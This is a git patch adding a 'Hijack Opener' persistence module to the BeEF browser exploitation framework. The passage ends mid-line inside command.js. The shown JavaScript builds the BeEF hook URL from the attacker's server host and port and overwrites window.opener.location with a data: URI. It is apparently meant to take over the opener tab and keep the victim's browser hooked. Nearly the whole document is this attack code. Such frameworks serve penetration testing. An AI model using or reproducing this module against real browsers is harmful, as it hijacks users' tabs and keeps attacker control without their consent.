From 49c3df1e44a64b7a6b2a0d543a31b6319bc5e625 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 1 Sep 2016 16:19:33 +0000 Subject: [PATCH] Add Hijack Opener module --- modules/persistence/hijack_opener/command.js | 18 ++++++++++++++++++ modules/persistence/hijack_opener/config.yaml | 16 ++++++++++++++++ modules/persistence/hijack_opener/module.rb | 10 ++++++++++ 3 files changed, 44 insertions(+) create mode 100644 modules/persistence/hijack_opener/command.js create mode 100644 modules/persistence/hijack_opener/config.yaml create mode 100644 modules/persistence/hijack_opener/module.rb diff --git a/modules/persistence/hijack_opener/command.js b/modules/persistence/hijack_opener/command.js new file mode 100644 index 000000000..2c7d8c49d --- /dev/null +++ b/modules/persistence/hijack_opener/command.js @@ -0,0 +1,18 @@ +// +// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var referrer = document.referrer; + var hook = beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+beef.net.hook; + try { + beef.debug("[Hijack Opener] Trying to hijack: " + referrer); + window.opener.location = 'data:text/html,'+referrer+'